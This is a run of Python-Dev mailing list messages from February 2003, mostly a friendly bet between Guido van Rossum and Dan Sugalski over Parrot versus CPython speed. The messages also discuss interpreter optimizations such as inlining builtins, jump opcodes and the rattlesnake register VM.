>     with f = autoclose("blah.txt", "r"):
>         # Let's get sneaky
>         g = f
>         # Main code here
> 
>     # File now gets closed
>     with g:

I haven't found a way to make assignments optional (in recent
experiments).  Is this possible with Python's Parser? 

    holger


From guido@python.org  Mon Feb  3 18:15:46 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 13:15:46 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 12:19:44 EST."
 <a05200f05ba6454fa5609@[63.120.19.221]>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
Message-ID: <200302031815.h13IFk920861@odiug.zope.com>

> At 12:00 PM +0100 2/3/03, Christian Tismer wrote:
> >Dan Sugalski wrote:
> >...
> >
> >>If you want to bet, I'll put up $10 and a round of beer (or other 
> >>beverage of your choice) at OSCON 2004 for all the python labs & 
> >>zope folks that says parrot beats the current python interpreter 
> >>when running all the python benchmark suite programs (that don't 
> >>depend on extensions written in C, since we're shooting for pure 
> >>engine performance) from bytecode. Game?
> >
> >Do you mean the current Python interpreter of 2004?
> >That could be quite a different beast...
> 
> While it could be, that's unlikely. Still, that'd be part of the 
> ground rules we'd work out if someone takes me up on the challenge.

I'm in.  Given how low you set your stakes, I don't think you're very
confident, so I'd like to call your bluff. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dan@sidhe.org  Mon Feb  3 18:35:09 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 13:35:09 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302031815.h13IFk920861@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
Message-ID: <a05200f0cba6465dd4b2f@[63.120.19.221]>

At 1:15 PM -0500 2/3/03, Guido van Rossum wrote:
>  > At 12:00 PM +0100 2/3/03, Christian Tismer wrote:
>>  >Dan Sugalski wrote:
>>  >...
>>  >
>>  >>If you want to bet, I'll put up $10 and a round of beer (or other
>>  >>beverage of your choice) at OSCON 2004 for all the python labs &
>>  >>zope folks that says parrot beats the current python interpreter
>>  >>when running all the python benchmark suite programs (that don't
>>  >>depend on extensions written in C, since we're shooting for pure
>>  >>engine performance) from bytecode. Game?
>>  >
>>  >Do you mean the current Python interpreter of 2004?
>>  >That could be quite a different beast...
>>
>>  While it could be, that's unlikely. Still, that'd be part of the
>>  ground rules we'd work out if someone takes me up on the challenge.
>
>I'm in.  Given how low you set your stakes, I don't think you're very
>confident, so I'd like to call your bluff. :-)

The stakes are low because I have to pony up the cash if I lose--my 
budget's limited, and regardless of how confident I am of winning, if 
I put up a lot, my wife will kill me dead for making the challenge 
and, well I think I'd rather avoid that. :)

Shall we, then, arrange the details at OSCON 2003, if you'll be 
there? I expect we can twist the conference organizer's arm into 
letting us make a tiny announcement near the end...
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From guido@python.org  Mon Feb  3 18:41:46 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 13:41:46 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 13:35:09 EST."
 <a05200f0cba6465dd4b2f@[63.120.19.221]>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com>
 <a05200f0cba6465dd4b2f@[63.120.19.221]>
Message-ID: <200302031841.h13Ifkd20986@odiug.zope.com>

> The stakes are low because I have to pony up the cash if I lose--my 
> budget's limited, and regardless of how confident I am of winning, if 
> I put up a lot, my wife will kill me dead for making the challenge 
> and, well I think I'd rather avoid that. :)

Especially as you'd automatically lose if your wife were to kill you. :)

> Shall we, then, arrange the details at OSCON 2003, if you'll be 
> there? I expect we can twist the conference organizer's arm into 
> letting us make a tiny announcement near the end...

Sure.  We should do this as a lightning talk in the Python lightning
track.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From munch@acm.org  Mon Feb  3 18:41:27 2003
From: munch@acm.org (john paulson)
Date: Mon, 03 Feb 2003 10:41:27 -0800
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function
 syntax)
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com>
Message-ID: <a05111b04ba6464761773@[192.168.1.3]>

In the case of

with var_1, ... var_N = expr_1, ... expr_N:
   suite

What happens if one of the expr_k throws an
exception?  Have any of the var_k been
__enter__()'ed and consequently require an
__exit__()?  Also, I imagine this form does
not imply an ordering of binding (it acts
like a (let ((var_1 expr_1) ... (var_N exprN)) ...)
form in scheme).

In the interests of KISS, (with a soupcon of
YAGNI), the single variable form might be
preferable.
-- 



From dan@sidhe.org  Mon Feb  3 18:46:36 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 13:46:36 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302031841.h13Ifkd20986@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <a05200f0cba6465dd4b2f@[63.120.19.221]>
 <200302031841.h13Ifkd20986@odiug.zope.com>
Message-ID: <a05200f0fba6468a6f25b@[63.120.19.221]>

At 1:41 PM -0500 2/3/03, Guido van Rossum wrote:
>  > The stakes are low because I have to pony up the cash if I lose--my
>>  budget's limited, and regardless of how confident I am of winning, if
>>  I put up a lot, my wife will kill me dead for making the challenge
>>  and, well I think I'd rather avoid that. :)
>
>Especially as you'd automatically lose if your wife were to kill you. :)

Well, we might still beat you, though I'd *definitely* lose personally. :)

>  > Shall we, then, arrange the details at OSCON 2003, if you'll be
>>  there? I expect we can twist the conference organizer's arm into
>>  letting us make a tiny announcement near the end...
>
>Sure.  We should do this as a lightning talk in the Python lightning
>track.

Works for me. I doubt we'll need that much time to work things out.

OTOH, as conferences love animosity, real or imagined, it wouldn't 
surprise me if Tim O'Reilly'd be happy to announce this if we can 
work the details out ahead of time. Fine with me either way...
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From nas@python.ca  Mon Feb  3 19:17:11 2003
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 3 Feb 2003 11:17:11 -0800
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302031815.h13IFk920861@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com>
Message-ID: <20030203191711.GA26891@glacier.arctrix.com>

Guido van Rossum wrote:
> I'm in.  Given how low you set your stakes, I don't think you're very
> confident, so I'd like to call your bluff. :-)

Any opinion on where to spend effort?  I was thinking of dusting off the
register VM code (aka rattlesnake).  OTOH, perhaps the non-local
namespace optimizations would give more bang for the buck.

  Neil


From guido@python.org  Mon Feb  3 19:18:14 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 14:18:14 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 11:17:11 PST."
 <20030203191711.GA26891@glacier.arctrix.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
Message-ID: <200302031918.h13JIE721173@odiug.zope.com>

> Guido van Rossum wrote:
> > I'm in.  Given how low you set your stakes, I don't think you're very
> > confident, so I'd like to call your bluff. :-)
> 
> Any opinion on where to spend effort?  I was thinking of dusting off the
> register VM code (aka rattlesnake).  OTOH, perhaps the non-local
> namespace optimizations would give more bang for the buck.
> 
>   Neil

I was thinking it might be most effective to have a little
conversation with Dan's potential sponsors.  But maybe that's because
my first name is Guido...  ;-)

Seriously, I expect Dan to lose without any effort on our part, but if
we want to make an effort, I think that there could be some
low-hanging fruit in inlining certain builtins (e.g. len, range,
xrange) that as far as we know aren't shadowed by globals.  Is that
what you call non-local namespace optimizations?  A new VM design
would be a major upheaval, but if we can pull it off it would
certainly not be a bad idea.  John Aycock and some of his students
have a design of a new VM that might be worth looking into.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dan@sidhe.org  Mon Feb  3 19:29:22 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 14:29:22 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302031918.h13JIE721173@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <200302031918.h13JIE721173@odiug.zope.com>
Message-ID: <a05200f11ba647370799d@[63.120.19.221]>

At 2:18 PM -0500 2/3/03, Guido van Rossum wrote:
>Seriously, I expect Dan to lose without any effort on our part,

Really! Well, then, shall we raise the stakes, and add a cream pie 
(of the loser's choice) at ten paces to the bet? :)
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From skip@pobox.com  Mon Feb  3 19:29:34 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 13:29:34 -0600
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
Message-ID: <15934.49950.520256.616214@montanaro.dyndns.org>

    Neil> Any opinion on where to spend effort?  I was thinking of dusting
    Neil> off the register VM code (aka rattlesnake).  OTOH, perhaps the
    Neil> non-local namespace optimizations would give more bang for the
    Neil> buck.

I'd help play around with rattlesnake.

Skip


From guido@python.org  Mon Feb  3 19:31:04 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 14:31:04 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 14:29:22 EST."
 <a05200f11ba647370799d@[63.120.19.221]>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com>
 <a05200f11ba647370799d@[63.120.19.221]>
Message-ID: <200302031931.h13JV4I21253@odiug.zope.com>

> >Seriously, I expect Dan to lose without any effort on our part,
> 
> Really! Well, then, shall we raise the stakes, and add a cream pie 
> (of the loser's choice) at ten paces to the bet? :)

I'd be delighted to deliver it in person. :)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dan@sidhe.org  Mon Feb  3 19:33:46 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 14:33:46 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <200302031931.h13JV4I21253@odiug.zope.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <200302031918.h13JIE721173@odiug.zope.com>
 <a05200f11ba647370799d@[63.120.19.221]>
 <200302031931.h13JV4I21253@odiug.zope.com>
Message-ID: <a05200f12ba647465b315@[63.120.19.221]>

At 2:31 PM -0500 2/3/03, Guido van Rossum wrote:
>  > >Seriously, I expect Dan to lose without any effort on our part,
>>
>>  Really! Well, then, shall we raise the stakes, and add a cream pie
>>  (of the loser's choice) at ten paces to the bet? :)
>
>I'd be delighted to deliver it in person. :)

Absolutely--it'd be no fun otherwise. :)
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From dan@sidhe.org  Mon Feb  3 19:38:19 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 14:38:19 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <15934.50373.546850.48771@montanaro.dyndns.org>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <200302031918.h13JIE721173@odiug.zope.com>
 <a05200f11ba647370799d@[63.120.19.221]>
 <15934.50373.546850.48771@montanaro.dyndns.org>
Message-ID: <a05200f13ba647592f9aa@[63.120.19.221]>

At 1:36 PM -0600 2/3/03, Skip Montanaro wrote:
>     Dan> Really! Well, then, shall we raise the stakes, and add a cream pie
>     Dan> (of the loser's choice) at ten paces to the bet? :)
>
>Having had personal experience with the inverse relationship between geek
>quotient and athletic prowess I suspect you might want to make that five
>paces. ;-)

Nah, that's OK--I'll be practicing my aim before then. :-P
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From guido@python.org  Mon Feb  3 19:49:31 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 14:49:31 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 14:38:19 EST."
 <a05200f13ba647592f9aa@[63.120.19.221]>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <a05200f11ba647370799d@[63.120.19.221]> <15934.50373.546850.48771@montanaro.dyndns.org>
 <a05200f13ba647592f9aa@[63.120.19.221]>
Message-ID: <200302031949.h13JnVW21433@odiug.zope.com>

> >Having had personal experience with the inverse relationship between geek
> >quotient and athletic prowess I suspect you might want to make that five
> >paces. ;-)
> 
> Nah, that's OK--I'll be practicing my aim before then. :-P

That was my line. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Mon Feb  3 20:05:32 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 03 Feb 2003 15:05:32 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
Message-ID: <20030203200532.GM24222@epoch.metaslash.com>

On Mon, Feb 03, 2003 at 11:17:11AM -0800, Neil Schemenauer wrote:
> Guido van Rossum wrote:
> > I'm in.  Given how low you set your stakes, I don't think you're very
> > confident, so I'd like to call your bluff. :-)
> 
> Any opinion on where to spend effort?  I was thinking of dusting off the
> register VM code (aka rattlesnake).  OTOH, perhaps the non-local
> namespace optimizations would give more bang for the buck.

As Guido mentioned, inline builtins.  I have a real simple patch
which does this.  ie, LOAD_GLOBAL(name) -> LOAD_CONST(builtin_function).
However, there is a problem with the patch: the resulting code
can't be marshalled properly.  I haven't tried to fix that yet.

Right now JUMP_IF_(TRUE, FALSE) keep their computed value on the
stack.  They are always followed by POP_TOP.  If the JUMP_IF_* removed
the value, it would be one less trip through eval_frame loop (no
POP_TOP).  I've got a patch for this which fixes 5 of the 8 cases
where JUMP_IF_* are generated.  The problem with the remaining 3 cases
is that a jump to a jump occurs.  By removing the jump to a jump, that
should also help performance.

I have a crazy idea that removing the switch and making our own
jump table in the eval_frame loop could improve performance.
But I've never tried this because it's a lot of work.  And it
could hurt, not help performance.

I can mail or post the partial patches if anyone is interested.

Neal


From bac@OCF.Berkeley.EDU  Mon Feb  3 20:16:18 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 3 Feb 2003 12:16:18 -0800 (PST)
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <15934.49950.520256.616214@montanaro.dyndns.org>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>        <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>        <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>        <20030203191711.GA26891@glacier.arctrix.com>
 <15934.49950.520256.616214@montanaro.dyndns.org>
Message-ID: <Pine.SOL.4.53.0302031215330.23385@death.OCF.Berkeley.EDU>

[Skip Montanaro]

> I'd help play around with rattlesnake.
>

Any links on rattlesnake?  I tried googling and came up with only a brief
mention by Ping and Skip about it.

-Brett


From esr@thyrsus.com  Mon Feb  3 20:25:53 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Mon, 3 Feb 2003 15:25:53 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <a05200f11ba647370799d@[63.120.19.221]>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <a05200f11ba647370799d@[63.120.19.221]>
Message-ID: <20030203202553.GE5826@thyrsus.com>

Dan Sugalski <dan@sidhe.org>:
> Really! Well, then, shall we raise the stakes, and add a cream pie 
> (of the loser's choice) at ten paces to the bet? :)

Oh, *goddess*.  I want to emcee this event in the worst way.  And I
know exactly how to do it -- like a herald reading cartels of defiance
at a joust.

Gentlemen, you've got yourself a master of ceremonies and a frame of
comic patter, if you want it.  For this I might even put on a
tuxedo...
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From guido@python.org  Mon Feb  3 20:37:04 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 15:37:04 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: Your message of "Mon, 03 Feb 2003 15:05:32 EST."
 <20030203200532.GM24222@epoch.metaslash.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <a05200f00ba5f684a67c5@[63.120.19.221]> <007301c2c8bb$7d022f90$ced241d5@hagrid> <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com> <a05200f05ba6454fa5609@[63.120.19.221]> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
Message-ID: <200302032037.h13Kb4621770@odiug.zope.com>

> As Guido mentioned, inline builtins.  I have a real simple patch
> which does this.  ie, LOAD_GLOBAL(name) -> LOAD_CONST(builtin_function).
> However, there is a problem with the patch: the resulting code
> can't be marshalled properly.  I haven't tried to fix that yet.

That's because you can't marshal references to built-in function
objects.

I was thinking of adding appropriate new opcodes for a few builtins
that are called a lot, like len.  This would be implemented using
something like this:

		case BUILTIN_LEN:
		    {
                        long n;
			v = POP();
			n = PyObject_Size(v);
			Py_DECREF(v);
			if (n >= 0) {
				x = PyInt_FromLong(n);
				if (x != NULL) {
					PUSH(x);
					continue;
				}
			}
			else {
				err = n;
			}
			break;
		    }

> Right now JUMP_IF_(TRUE, FALSE) keep their computed value on the
> stack.  They are always followed by POP_TOP.  If the JUMP_IF_* removed
> the value, it would be one less trip through eval_frame loop (no
> POP_TOP).  I've got a patch for this which fixes 5 of the 8 cases
> where JUMP_IF_* are generated.  The problem with the remaining 3 cases
> is that a jump to a jump occurs.  By removing the jump to a jump, that
> should also help performance.

Yes.

I think there's also an inefficiency in the bytecode generated for
'not': instead of generating a UNARY_NOT opcode, it could switch the
sense of the test (changing JUMP_IF_FALSE into JUMP_IF_TRUE and vice
versa).

> I have a crazy idea that removing the switch and making our own
> jump table in the eval_frame loop could improve performance.
> But I've never tried this because it's a lot of work.  And it
> could hurt, not help performance.

The only way to find out is to try it. ;-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dan@sidhe.org  Mon Feb  3 20:41:08 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 15:41:08 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030203202553.GE5826@thyrsus.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <200302031918.h13JIE721173@odiug.zope.com>
 <a05200f11ba647370799d@[63.120.19.221]>
 <20030203202553.GE5826@thyrsus.com>
Message-ID: <a05200f16ba6483cf4fda@[63.120.19.221]>

At 3:25 PM -0500 2/3/03, Eric S. Raymond wrote:
>Dan Sugalski <dan@sidhe.org>:
>>  Really! Well, then, shall we raise the stakes, and add a cream pie
>>  (of the loser's choice) at ten paces to the bet? :)
>
>Oh, *goddess*.  I want to emcee this event in the worst way.  And I
>know exactly how to do it -- like a herald reading cartels of defiance
>at a joust.
>
>Gentlemen, you've got yourself a master of ceremonies and a frame of
>comic patter, if you want it.  For this I might even put on a
>tuxedo...

Argh! The very thought of that is making me want to gouge my eyes out. :)

Seriously, this is something we'll have to work out with the 
conference folks. Wouldn't surprise me if they may have someone in 
mind, or if not we go with some semi-independent person. (Perhaps 
some bitter Lisp hacker that hates all of us because everyone's more 
successful than Lisp... :)
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From skip@pobox.com  Mon Feb  3 20:47:33 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 14:47:33 -0600
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <Pine.SOL.4.53.0302031215330.23385@death.OCF.Berkeley.EDU>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <20030203191711.GA26891@glacier.arctrix.com>
 <15934.49950.520256.616214@montanaro.dyndns.org>
 <Pine.SOL.4.53.0302031215330.23385@death.OCF.Berkeley.EDU>
Message-ID: <15934.54629.682946.80499@montanaro.dyndns.org>

    >> I'd help play around with rattlesnake.

    Brett> Any links on rattlesnake?  I tried googling and came up with only
    Brett> a brief mention by Ping and Skip about it.

You just didn't look far enough back. ;-)

Rattlesnake was something I started in 1998 (based on 1.5.1 as I recall) to
come up with an alternate, register-based virtual machine for Python.  The
observation that Tim made which got me headed in that direction was that
three-register machines are much easier to optimize than stack-based
architectures.  The plan was to mechanically translate the bytecode for the
stack architecture to the bytecode for the register architecture.  (I used
my peephole optimizer as the basis for that translator.  Conversion to the
new architecture was thus a rather substantial "peephole" operation.) The
result should be relatively easy to optimize (just by eliding many of stack
motion, if nothing else).

A few of us got a reasonable start on it, but it eventually fizzled.  There
were a couple things that didn't ever work right, and starting with 1.5.2
the virtual machine started moving faster than I could keep up in the odd
spare moment.  It sat idle until a little over a year ago when Neil began
working on it.  To the best of my knowledge, he's never released anything,
but whatever he's got laying about is bound to be more current than anything
I could point you at.

Still, here are some pointers for those interested:

* Here's a pointer to a paper about the peephole optimizer:

    http://www.musi-cal.com/~skip/python/spam7/optimizer.html

* Here's the latest stuff I bundled up for Neil in 2001:

    http://www.musi-cal.com/~skip/python/rattlesnake20010813.tar.gz

* Here's the long inactive mailing list:

    http://groups.yahoo.com/group/rattlesnake

* There's a python-dev thread from February 2002:

    http://mail.python.org/pipermail/python-dev/2002-February/thread.html

  (search for "rattlesnake").

* Finally, here's a python-dev thread about rattlesnake from 1998:

    http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&threadm=7399hf%24scb%241%40nnrp1.dejanews.com&rnum=1&prev=/groups%3Fq%3Drattlesnake%2Bmore%2Bbite%2Bfor%2Bpython%26hl%3Den%26lr%3D%26ie%3DUTF-8%26oe%3DUTF-8%26selm%3D7399hf%2524scb%25241%2540nnrp1.dejanews.com%26rnum%3D1

Skip


From tim.one@comcast.net  Mon Feb  3 20:47:44 2003
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 03 Feb 2003 15:47:44 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHOELOELAA.tim.one@comcast.net>

[Neil Schemenauer]
> Any opinion on where to spend effort?

For real life boosts, function/method calls.  Making "len" a builtin
wouldn't help so much for saving a couple dict lookups as it would for
avoiding the call machinery, and for callees coded in Python that's heavy
work.



From skip@pobox.com  Mon Feb  3 20:54:56 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 14:54:56 -0600
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <20030203200532.GM24222@epoch.metaslash.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]>
 <3E3E4BE7.7000303@tismer.com>
 <a05200f05ba6454fa5609@[63.120.19.221]>
 <200302031815.h13IFk920861@odiug.zope.com>
 <20030203191711.GA26891@glacier.arctrix.com>
 <20030203200532.GM24222@epoch.metaslash.com>
Message-ID: <15934.55072.175345.305837@montanaro.dyndns.org>

    Neal> Right now JUMP_IF_(TRUE, FALSE) keep their computed value on the
